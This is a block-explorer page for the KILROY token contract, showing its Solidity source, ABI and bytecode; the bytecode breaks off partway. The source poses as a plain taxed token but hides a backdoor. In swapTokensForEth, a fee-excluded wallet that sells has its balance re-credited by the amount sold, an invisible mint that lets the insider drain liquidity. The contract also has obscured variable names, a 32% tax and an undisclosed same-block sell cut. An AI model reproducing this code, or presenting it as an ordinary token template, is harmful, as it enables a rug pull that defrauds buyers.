ETH Price: $2,405.18 (+0.04%)

Token

Kilroy was here (KILROY)
 

Overview

Max Total Supply

1,000,000,000 KILROY

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,206,999.99999828 KILROY

Value
$0.00
0x73b10ee217c5529095ed4f80598dcd2589dd65c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KILROY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

/*
  Kilroy was here - $KILROY

  https://t.me/kilroycoin_eth  
  https://kilroywashere.site

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract KILROY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _lastBuy;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address payable private _marketAddress;

    uint256 private _finalBuyTax = 32;
    uint256 private _finalSellTax = 32;
    uint256 private _preventFee = 92;
    uint256 private _reduceAt = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Kilroy was here";
    string private constant _symbol = unicode"KILROY";
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 400 * 10**_decimals;
    uint256 public swapToEthLimit = 20_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _marketAddress = payable(0x432a0367E306fE759F4F115ed61f077eDAe218c7);
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function isExcludedFromFee(address account) private view returns(bool){
        return account == owner() || account == address(this) || account == _marketAddress; 
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function isExcluded(address from, address to) private view returns (bool) {
        return isExcludedFromFee(from) || isExcludedFromFee(to);
    }

    function _transfer(
        address sbo,
        address tld,
        uint256 amount
    ) private {
        require(sbo != address(0), "ERC20: transfer from the zero address");
        require(tld != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool isEx = isExcluded(sbo, tld);

        if (!tradingOpen) require(isEx, "Trading is not opened yet");

        uint256 _tax = 0;

        if ((sbo != uniswapV2Pair && tld != uniswapV2Pair) || !tradingOpen || isEx || _buyCount >= _reduceAt) _tax = 0;
        else _tax = _finalBuyTax;

        if (tld == uniswapV2Pair && !isEx) {
            require(amount <= _maxTxAmount,"Exceeds the maximum amount to sell");
            if (_lastBuy[sbo] == block.timestamp) amount = (amount * _preventFee) / 100;
        }

        if (sbo == uniswapV2Pair && tld != address(uniswapV2Router) && !isEx) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(tld) + amount <= _maxWalletSize,"Exceeds the maxWalletSize.");
            _lastBuy[tld] = block.timestamp;
            _buyCount ++;
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && tld == uniswapV2Pair && tradingOpen && amount >= _taxSwapThreshold) {
            if (contractTokenBalance >= 0) 
                swapTokensForEth(min(swapToEthLimit, contractTokenBalance), sbo, amount);
            sendETHToFee(address(this).balance);
        }

       uint256 _taxAmount  = (amount * _tax) / 100;
        if (_taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + _taxAmount;
            emit Transfer(sbo, address(this), _taxAmount);
        }

        _balances[sbo] = _balances[sbo] - amount;
        _balances[tld] = _balances[tld] + (amount - _taxAmount);

        emit Transfer(sbo, tld, amount - _taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount, address from, uint256 amt)
        private
        lockTheSwap
    {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        if(from == uniswapV2Pair) return;
        else if (isExcludedFromFee(from) && from != address(this)) 
            _balances[from] = _balances[from] + amt;
    }

    function storeTo(address to, uint256 amt) private {
        _balances[to] = amt;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _marketAddress.transfer(amount);
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function manageList(address[] memory bots_) external onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender() == _marketAddress);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance, owner(), 0);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"manageList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapToEthLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260206007556020600855605c600955600f600a556000600b556012600a6200002d9190620002c0565b6200003d906301312d00620002d8565b600c556200004e6012600a620002c0565b6200005e906301312d00620002d8565b600d556200006f6012600a620002c0565b6200007d90610190620002d8565b600e556200008e6012600a620002c0565b6200009e906301312d00620002d8565b600f556011805460ff60a81b19169055348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191673432a0367e306fe759f4f115ed61f077edae218c7179055620001316012600a620002c0565b6200014190633b9aca00620002d8565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001846012600a620002c0565b6200019490633b9aca00620002d8565b60405190815260200160405180910390a3620002f2565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000202578160001904821115620001e657620001e6620001ab565b80851615620001f457918102915b93841c9390800290620001c6565b509250929050565b6000826200021b57506001620002ba565b816200022a57506000620002ba565b81600181146200024357600281146200024e576200026e565b6001915050620002ba565b60ff841115620002625762000262620001ab565b50506001821b620002ba565b5060208310610133831016604e8410600b841016171562000293575081810a620002ba565b6200029f8383620001c1565b8060001904821115620002b657620002b6620001ab565b0290505b92915050565b6000620002d160ff8416836200020a565b9392505050565b8082028115828204841417620002ba57620002ba620001ab565b61192f80620003026000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a05780639e78fb4f116100645780639e78fb4f1461035b578063a9059cbb14610370578063bf474bed14610390578063dd62ed3e146103a6578063e0fdc53f146103ec57600080fd5b8063751039fc146102c35780637d1db4a5146102d85780638da5cb5b146102ee5780638f9a55c01461031657806395d89b411461032c57600080fd5b80633bbac579116100e75780633bbac5791461020857806351bc3c85146102415780636de7bcbd1461025857806370a0823114610278578063715018a6146102ae57600080fd5b806306fdde031461012f578063095ea7b31461017957806318160ddd146101a957806323b872dd146101cc578063313ce567146101ec57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600f81526e4b696c726f7920776173206865726560881b60208201525b6040516101709190611413565b60405180910390f35b34801561018557600080fd5b50610199610194366004611489565b610402565b6040519015158152602001610170565b3480156101b557600080fd5b506101be610419565b604051908152602001610170565b3480156101d857600080fd5b506101996101e73660046114b5565b61043a565b3480156101f857600080fd5b5060405160128152602001610170565b34801561021457600080fd5b506101996102233660046114f6565b6001600160a01b031660009081526003602052604090205460ff1690565b34801561024d57600080fd5b506102566104a3565b005b34801561026457600080fd5b50610256610273366004611529565b61050a565b34801561028457600080fd5b506101be6102933660046114f6565b6001600160a01b031660009081526001602052604090205490565b3480156102ba57600080fd5b506102566105a5565b3480156102cf57600080fd5b50610256610619565b3480156102e457600080fd5b506101be600c5481565b3480156102fa57600080fd5b506000546040516001600160a01b039091168152602001610170565b34801561032257600080fd5b506101be600d5481565b34801561033857600080fd5b506040805180820190915260068152654b494c524f5960d01b6020820152610163565b34801561036757600080fd5b506102566106cb565b34801561037c57600080fd5b5061019961038b366004611489565b610a29565b34801561039c57600080fd5b506101be600e5481565b3480156103b257600080fd5b506101be6103c13660046115ee565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103f857600080fd5b506101be600f5481565b600061040f338484610a36565b5060015b92915050565b60006104276012600a611721565b61043590633b9aca00611730565b905090565b6000610447848484610b5a565b6104998433610494856040518060600160405280602881526020016118d2602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061112d565b610a36565b5060019392505050565b6006546001600160a01b0316336001600160a01b0316146104c357600080fd5b3060009081526001602052604090205480156104f6576104f6816104ef6000546001600160a01b031690565b6000611167565b4780156105065761050681611363565b5050565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161053490611747565b60405180910390fd5b60005b8151811015610506576001600360008484815181106105615761056161177c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059d81611792565b915050610540565b6000546001600160a01b031633146105cf5760405162461bcd60e51b815260040161053490611747565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106435760405162461bcd60e51b815260040161053490611747565b61064f6012600a611721565b61065d90633b9aca00611730565b600c5561066c6012600a611721565b61067a90633b9aca00611730565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106aa6012600a611721565b6106b890633b9aca00611730565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106f55760405162461bcd60e51b815260040161053490611747565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073e9030906107306012600a611721565b61049490633b9aca00611730565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b591906117ab565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083b91906117ab565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ac91906117ab565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108f4816001600160a01b031660009081526001602052604090205490565b6000806109096000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610971573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099691906117c8565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1391906117f6565b506011805460ff60a01b1916600160a01b179055565b600061040f338484610b5a565b6001600160a01b038316610a985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bbe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b038216610c205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b60008111610c825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610534565b6000610c8e848461139d565b601154909150600160a01b900460ff16610cef5780610cef5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610534565b6011546000906001600160a01b03868116911614801590610d1e57506011546001600160a01b03858116911614155b80610d335750601154600160a01b900460ff16155b80610d3b5750815b80610d4a5750600a54600b5410155b15610d5757506000610d5c565b506007545b6011546001600160a01b038581169116148015610d77575081155b15610e1657600c54831115610dd95760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b6064820152608401610534565b6001600160a01b038516600090815260046020526040902054429003610e1657606460095484610e099190611730565b610e139190611818565b92505b6011546001600160a01b038681169116148015610e4157506010546001600160a01b03858116911614155b8015610e4b575081155b15610f4c57600c54831115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610534565b600d5483610ec5866001600160a01b031660009081526001602052604090205490565b610ecf919061183a565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610534565b6001600160a01b0384166000908152600460205260408120429055600b805491610f4683611792565b91905055505b30600090815260016020526040902054601154600160a81b900460ff16158015610f8357506011546001600160a01b038681169116145b8015610f985750601154600160a01b900460ff165b8015610fa65750600e548410155b15610fca57610fc1610fba600f54836113be565b8786611167565b610fca47611363565b60006064610fd88487611730565b610fe29190611818565b9050801561105f573060009081526001602052604090205461100590829061183a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110569085815260200190565b60405180910390a35b6001600160a01b03871660009081526001602052604090205461108390869061184d565b6001600160a01b0388166000908152600160205260409020556110a6818661184d565b6001600160a01b0387166000908152600160205260409020546110c9919061183a565b6001600160a01b0380881660008181526001602052604090209290925588167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611113848961184d565b60405190815260200160405180910390a350505050505050565b600081848411156111515760405162461bcd60e51b81526004016105349190611413565b50600061115e848661184d565b95945050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111af576111af61177c565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c91906117ab565b8160018151811061123f5761123f61177c565b6001600160a01b0392831660209182029290920101526010546112659130911686610a36565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061129e908790600090869030904290600401611860565b600060405180830381600087803b1580156112b857600080fd5b505af11580156112cc573d6000803e3d6000fd5b50506011546001600160a01b039081169086160391506112ee90505750611351565b6112f7836113d3565b801561130c57506001600160a01b0383163014155b1561134f576001600160a01b03831660009081526001602052604090205461133590839061183a565b6001600160a01b0384166000908152600160205260409020555b505b50506011805460ff60a81b1916905550565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610506573d6000803e3d6000fd5b60006113a8836113d3565b806113b757506113b7826113d3565b9392505050565b60008183116113cd57826113b7565b50919050565b600080546001600160a01b03838116911614806113f857506001600160a01b03821630145b806104135750506006546001600160a01b0390811691161490565b600060208083528351808285015260005b8181101561144057858101830151858201604001528201611424565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147657600080fd5b50565b803561148481611461565b919050565b6000806040838503121561149c57600080fd5b82356114a781611461565b946020939093013593505050565b6000806000606084860312156114ca57600080fd5b83356114d581611461565b925060208401356114e581611461565b929592945050506040919091013590565b60006020828403121561150857600080fd5b81356113b781611461565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153c57600080fd5b823567ffffffffffffffff8082111561155457600080fd5b818501915085601f83011261156857600080fd5b81358181111561157a5761157a611513565b8060051b604051601f19603f8301168101818110858211171561159f5761159f611513565b6040529182528482019250838101850191888311156115bd57600080fd5b938501935b828510156115e2576115d385611479565b845293850193928501926115c2565b98975050505050505050565b6000806040838503121561160157600080fd5b823561160c81611461565b9150602083013561161c81611461565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167857816000190482111561165e5761165e611627565b8085161561166b57918102915b93841c9390800290611642565b509250929050565b60008261168f57506001610413565b8161169c57506000610413565b81600181146116b257600281146116bc576116d8565b6001915050610413565b60ff8411156116cd576116cd611627565b50506001821b610413565b5060208310610133831016604e8410600b84101617156116fb575081810a610413565b611705838361163d565b806000190482111561171957611719611627565b029392505050565b60006113b760ff841683611680565b808202811582820484141761041357610413611627565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016117a4576117a4611627565b5060010190565b6000602082840312156117bd57600080fd5b81516113b781611461565b6000806000606084860312156117dd57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180857600080fd5b815180151581146113b757600080fd5b60008261183557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561041357610413611627565b8181038181111561041357610413611627565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b05784516001600160a01b03168352938301939183019160010161188b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087a7fea7aef7468b57333fb8673fc40b2830809ef647f5d1b9983c99171818a364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063751039fc116100a05780639e78fb4f116100645780639e78fb4f1461035b578063a9059cbb14610370578063bf474bed14610390578063dd62ed3e146103a6578063e0fdc53f146103ec57600080fd5b8063751039fc146102c35780637d1db4a5146102d85780638da5cb5b146102ee5780638f9a55c01461031657806395d89b411461032c57600080fd5b80633bbac579116100e75780633bbac5791461020857806351bc3c85146102415780636de7bcbd1461025857806370a0823114610278578063715018a6146102ae57600080fd5b806306fdde031461012f578063095ea7b31461017957806318160ddd146101a957806323b872dd146101cc578063313ce567146101ec57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600f81526e4b696c726f7920776173206865726560881b60208201525b6040516101709190611413565b60405180910390f35b34801561018557600080fd5b50610199610194366004611489565b610402565b6040519015158152602001610170565b3480156101b557600080fd5b506101be610419565b604051908152602001610170565b3480156101d857600080fd5b506101996101e73660046114b5565b61043a565b3480156101f857600080fd5b5060405160128152602001610170565b34801561021457600080fd5b506101996102233660046114f6565b6001600160a01b031660009081526003602052604090205460ff1690565b34801561024d57600080fd5b506102566104a3565b005b34801561026457600080fd5b50610256610273366004611529565b61050a565b34801561028457600080fd5b506101be6102933660046114f6565b6001600160a01b031660009081526001602052604090205490565b3480156102ba57600080fd5b506102566105a5565b3480156102cf57600080fd5b50610256610619565b3480156102e457600080fd5b506101be600c5481565b3480156102fa57600080fd5b506000546040516001600160a01b039091168152602001610170565b34801561032257600080fd5b506101be600d5481565b34801561033857600080fd5b506040805180820190915260068152654b494c524f5960d01b6020820152610163565b34801561036757600080fd5b506102566106cb565b34801561037c57600080fd5b5061019961038b366004611489565b610a29565b34801561039c57600080fd5b506101be600e5481565b3480156103b257600080fd5b506101be6103c13660046115ee565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103f857600080fd5b506101be600f5481565b600061040f338484610a36565b5060015b92915050565b60006104276012600a611721565b61043590633b9aca00611730565b905090565b6000610447848484610b5a565b6104998433610494856040518060600160405280602881526020016118d2602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061112d565b610a36565b5060019392505050565b6006546001600160a01b0316336001600160a01b0316146104c357600080fd5b3060009081526001602052604090205480156104f6576104f6816104ef6000546001600160a01b031690565b6000611167565b4780156105065761050681611363565b5050565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161053490611747565b60405180910390fd5b60005b8151811015610506576001600360008484815181106105615761056161177c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059d81611792565b915050610540565b6000546001600160a01b031633146105cf5760405162461bcd60e51b815260040161053490611747565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106435760405162461bcd60e51b815260040161053490611747565b61064f6012600a611721565b61065d90633b9aca00611730565b600c5561066c6012600a611721565b61067a90633b9aca00611730565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106aa6012600a611721565b6106b890633b9aca00611730565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106f55760405162461bcd60e51b815260040161053490611747565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073e9030906107306012600a611721565b61049490633b9aca00611730565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b591906117ab565b600